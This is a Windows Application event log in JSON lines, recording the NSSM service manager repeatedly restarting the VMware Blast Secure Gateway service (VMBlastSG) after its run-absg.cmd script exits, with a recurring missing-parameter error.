{"@timestamp":1646766138177,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159608","0"]}}},"module":"Application","provider":"nssm","sequence":162704}}
{"@timestamp":1646766138177,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159608","159608","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162705}}
{"@timestamp":1646766138194,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162706}}
{"@timestamp":1646766138195,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162707}}
{"@timestamp":1646766138195,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162708}}
{"@timestamp":1646766138196,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162709}}
{"@timestamp":1646766266929,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162710}}
{"@timestamp":1646766266930,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162711}}
{"@timestamp":1646766266931,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159400","0"]}}},"module":"Application","provider":"nssm","sequence":162712}}
{"@timestamp":1646766266932,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159400","159400","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162713}}
{"@timestamp":1646766266951,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162714}}
{"@timestamp":1646766266952,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162715}}
{"@timestamp":1646766266952,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162716}}
{"@timestamp":1646766266954,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162717}}
{"@timestamp":1646766395459,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162718}}
{"@timestamp":1646766395460,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162719}}
{"@timestamp":1646766395461,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150228","0"]}}},"module":"Application","provider":"nssm","sequence":162720}}
{"@timestamp":1646766395462,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150228","150228","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162721}}
{"@timestamp":1646766395482,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162722}}
{"@timestamp":1646766395483,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162723}}
{"@timestamp":1646766395483,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162724}}
{"@timestamp":1646766395484,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162725}}
{"@timestamp":1646766524027,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162726}}
{"@timestamp":1646766524028,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162727}}
{"@timestamp":1646766524028,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156868","0"]}}},"module":"Application","provider":"nssm","sequence":162728}}
{"@timestamp":1646766524029,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156868","156868","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162729}}
{"@timestamp":1646766524045,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162730}}
{"@timestamp":1646766524045,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162731}}
{"@timestamp":1646766524046,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162732}}
{"@timestamp":1646766524047,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162733}}
{"@timestamp":1646766652568,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162734}}
{"@timestamp":1646766652569,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162735}}
{"@timestamp":1646766652570,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154948","0"]}}},"module":"Application","provider":"nssm","sequence":162736}}
{"@timestamp":1646766652570,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154948","154948","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162737}}
{"@timestamp":1646766652587,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162738}}
{"@timestamp":1646766652588,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162739}}
{"@timestamp":1646766652588,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162740}}
{"@timestamp":1646766652589,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162741}}
{"@timestamp":1646766781349,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162742}}
{"@timestamp":1646766781350,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162743}}
{"@timestamp":1646766781351,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159444","0"]}}},"module":"Application","provider":"nssm","sequence":162744}}
{"@timestamp":1646766781351,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159444","159444","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162745}}
{"@timestamp":1646766781373,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159396","0"]}}},"module":"Application","provider":"nssm","sequence":162746}}
{"@timestamp":1646766781374,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159396","159444","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162747}}
{"@timestamp":1646766781394,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162748}}
{"@timestamp":1646766781395,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162749}}
{"@timestamp":1646766781396,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162750}}
{"@timestamp":1646766781396,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162751}}
{"@timestamp":1646766909910,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162752}}
{"@timestamp":1646766909912,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162753}}
{"@timestamp":1646766909912,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157596","0"]}}},"module":"Application","provider":"nssm","sequence":162754}}
{"@timestamp":1646766909913,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157596","157596","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162755}}
{"@timestamp":1646766909929,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162756}}
{"@timestamp":1646766909929,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162757}}
{"@timestamp":1646766909930,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162758}}
{"@timestamp":1646766909931,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162759}}
{"@timestamp":1646767038423,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162760}}
{"@timestamp":1646767038424,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162761}}
{"@timestamp":1646767038425,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159320","0"]}}},"module":"Application","provider":"nssm","sequence":162762}}
{"@timestamp":1646767038426,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159320","159320","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162763}}
{"@timestamp":1646767038442,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162764}}
{"@timestamp":1646767038443,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162765}}
{"@timestamp":1646767038443,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162766}}
{"@timestamp":1646767038444,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162767}}
{"@timestamp":1646767166997,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162768}}
{"@timestamp":1646767166999,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162769}}
{"@timestamp":1646767167000,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158776","0"]}}},"module":"Application","provider":"nssm","sequence":162770}}
{"@timestamp":1646767167001,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158776","158776","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162771}}
{"@timestamp":1646767167017,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162772}}
{"@timestamp":1646767167017,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162773}}
{"@timestamp":1646767167018,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162774}}
{"@timestamp":1646767167019,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162775}}
{"@timestamp":1646767295770,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162776}}
{"@timestamp":1646767295772,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162777}}
{"@timestamp":1646767295772,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158340","0"]}}},"module":"Application","provider":"nssm","sequence":162778}}
{"@timestamp":1646767295773,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158340","158340","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162779}}
{"@timestamp":1646767295789,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162780}}
{"@timestamp":1646767295789,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162781}}
{"@timestamp":1646767295790,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162782}}
{"@timestamp":1646767295791,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162783}}
{"@timestamp":1646767424357,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162784}}
{"@timestamp":1646767424358,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162785}}
{"@timestamp":1646767424358,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158360","0"]}}},"module":"Application","provider":"nssm","sequence":162786}}
{"@timestamp":1646767424359,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158360","158360","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162787}}
{"@timestamp":1646767424377,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162788}}
{"@timestamp":1646767424378,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162789}}
{"@timestamp":1646767424378,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162790}}
{"@timestamp":1646767424379,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162791}}
{"@timestamp":1646767552959,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162792}}
{"@timestamp":1646767552961,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162793}}
{"@timestamp":1646767552962,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159500","0"]}}},"module":"Application","provider":"nssm","sequence":162794}}
{"@timestamp":1646767552963,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159500","159500","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162795}}
{"@timestamp":1646767552980,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162796}}
{"@timestamp":1646767552980,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162797}}
{"@timestamp":1646767552981,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162798}}
{"@timestamp":1646767552981,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162799}}
{"@timestamp":1646767681487,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162800}}
{"@timestamp":1646767681488,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162801}}
{"@timestamp":1646767681488,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158512","0"]}}},"module":"Application","provider":"nssm","sequence":162802}}
{"@timestamp":1646767681490,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158512","158512","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162803}}
{"@timestamp":1646767681507,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162804}}
{"@timestamp":1646767681507,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162805}}
{"@timestamp":1646767681508,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162806}}
{"@timestamp":1646767681509,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162807}}
{"@timestamp":1646767810056,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162808}}
